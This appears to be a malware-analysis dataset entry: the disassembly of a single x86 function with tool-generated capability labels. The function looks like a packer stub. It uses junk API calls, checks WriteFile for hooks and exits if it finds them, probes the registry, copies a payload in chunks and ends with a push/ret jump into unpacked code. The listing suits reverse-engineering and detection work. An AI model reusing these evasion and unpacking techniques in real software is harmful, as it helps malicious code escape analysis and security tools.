Function at 0x401930
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa18
mov dword [ebp - 0x7ec], 0
mov dword [ebp - 0x804], 0
mov dword [ebp - 0x83c], 0
mov dword [ebp - 0x820], 1
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x808], eax
mov byte [ebp - 0x821], 0x8b
mov byte [ebp - 0x841], 0x6a
mov byte [ebp - 0x82d], 0x55
mov byte [ebp - 0x82e], 0xff
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0
call dword [sym.imp.GDI32.dll_GetStockObject]
test eax, eax
jne 0x401a4a
xor eax, eax
jmp 0x401e2f
mov ecx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [0x4137d8], ecx
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov edx, dword [ebp - 0x808]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x821]
cmp eax, ecx
je 0x401acd
mov edx, dword [ebp - 0x808]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x841]
cmp eax, ecx
je 0x401acd
mov edx, dword [ebp - 0x808]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x82d]
cmp eax, ecx
je 0x401acd
mov edx, dword [ebp - 0x808]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x82e]
cmp eax, ecx
jne 0x401acf
jmp 0x401ada
push 0x14e
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea edx, [ebp - 0x7dc]
push edx
mov eax, dword [ebp - 0x820]
push eax
mov ecx, dword [ebp - 0x83c]
push ecx
mov edx, dword [str.ias.sdomachine.1clsid]
push edx
mov eax, dword [0x41201c]
push eax
call dword [0x4137d8]
lea ecx, [ebp - 0x7dc]
push ecx
mov edx, dword [ebp - 0x820]
push edx
mov eax, dword [ebp - 0x83c]
push eax
mov ecx, dword [str.ias.sdomachine.1clsid]
push ecx
mov edx, dword [0x41201c]
push edx
call dword [0x4137d8]
test eax, eax
je 0x401b36
xor eax, eax
jmp 0x401e2f
call fcn.00401300
mov dword [ebp - 0x7dc], 0
mov dword [ebp - 0x7f4], 0x64
mov dword [ebp - 0x7e0], 9
mov dword [ebp - 0x804], 0
mov dword [ebp - 0x7e8], 0
mov dword [ebp - 0x7f0], 1
mov dword [ebp - 0x7dc], 0
mov dword [ebp - 0x7f4], 0x64
mov dword [ebp - 0x7e0], 9
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x4137cc], eax
mov ecx, dword [0x4137d0]
push ecx
call fcn.00401250
add esp, 4
mov dword [ebp - 0x82c], eax
mov edx, dword [ebp - 0x82c]
push edx
call fcn.00401280
add esp, 4
mov dword [ebp - 0x7f8], eax
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x838], eax
mov ecx, dword [ebp - 0x804]
cmp ecx, dword [ebp - 0x82c]
jae 0x401c6d
mov edx, dword [ebp - 0x838]
push edx
mov eax, dword [ebp - 0x7f4]
push eax
call fcn.004012a0
add esp, 8
mov dword [ebp - 0x840], eax
mov ecx, dword [ebp - 0x840]
push ecx
mov edx, dword [0x4137d0]
add edx, dword [ebp - 0x7e8]
push edx
mov eax, dword [ebp - 0x7f8]
add eax, dword [ebp - 0x804]
push eax
call fcn.004011c0
add esp, 0xc
mov ecx, dword [ebp - 0x7e0]
add ecx, dword [ebp - 0x7f4]
add ecx, dword [ebp - 0x7e8]
mov dword [ebp - 0x7e8], ecx
mov edx, dword [ebp - 0x804]
add edx, dword [ebp - 0x7f4]
mov dword [ebp - 0x804], edx
mov eax, dword [ebp - 0x838]
sub eax, dword [ebp - 0x840]
mov dword [ebp - 0x838], eax
jmp 0x401bd5
mov ecx, dword [ebp - 0x82c]
push ecx
mov edx, dword [ebp - 0x7f8]
push edx
call fcn.00401040
add esp, 8
mov dword [0x4137dc], ebp
mov eax, dword [0x4137dc]
mov dword [0x4137c8], eax
mov dword [ebp - 0x7e8], 0
mov dword [ebp - 8], 0
call fcn.00401510
mov ecx, dword [0x4137d0]
push ecx
call fcn.00401250
add esp, 4
mov dword [ebp - 0x848], eax
mov edx, dword [ebp - 0x848]
push edx
call fcn.00401280
add esp, 4
mov dword [ebp - 0x7e4], eax
mov eax, dword [ebp - 0x848]
mov dword [ebp - 0x850], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x848]
jae 0x401d67
mov edx, dword [ebp - 0x850]
push edx
mov eax, dword [ebp - 0x7f4]
push eax
call fcn.004012a0
add esp, 8
mov dword [ebp - 0x854], eax
mov ecx, dword [ebp - 0x854]
push ecx
mov edx, dword [0x4137d0]
add edx, dword [ebp - 0x7e8]
push edx
mov eax, dword [ebp - 0x7e4]
add eax, dword [ebp - 8]
push eax
call fcn.004011c0
add esp, 0xc
mov ecx, dword [ebp - 0x7e0]
add ecx, dword [ebp - 0x7f4]
add ecx, dword [ebp - 0x7e8]
mov dword [ebp - 0x7e8], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x7f4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x850]
sub eax, dword [ebp - 0x854]
mov dword [ebp - 0x850], eax
jmp 0x401cdf
mov ecx, dword [ebp - 0x848]
push ecx
mov edx, dword [ebp - 0x7e4]
push edx
call fcn.00401040
add esp, 8
mov eax, dword [ebp - 0x7f8]
mov ecx, dword [ebp - 0x7e4]
mov dword [eax], ecx
push 0xb400
call fcn.00401280
add esp, 4
mov dword [ebp - 4], eax
push 0xb000
mov edx, dword [ebp - 0x7f8]
push edx
mov eax, dword [ebp - 4]
add eax, 0x200
push eax
call fcn.004011c0
add esp, 0xc
call fcn.00401920
mov dword [ebp - 0x7fc], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x7fc]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x7e4]
push eax
call fcn.004016d0
add esp, 0xc
mov ecx, dword [ebp - 4]
add ecx, 0xadd0
mov dword [0x4137c4], ecx
mov dword [ebp - 0x800], 0x4011e0
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
push 0x2b67
mov eax, eax
mov eax, dword [ebp - 0x800]
mov eax, eax
mov ecx, esp
push eax
mov eax, ecx
pop eax
mov eax, eax
mov edx, ecx
mov eax, eax
mov dword [edx], 0
add dword [edx], eax
ret
mov esp, ebp
pop ebp
ret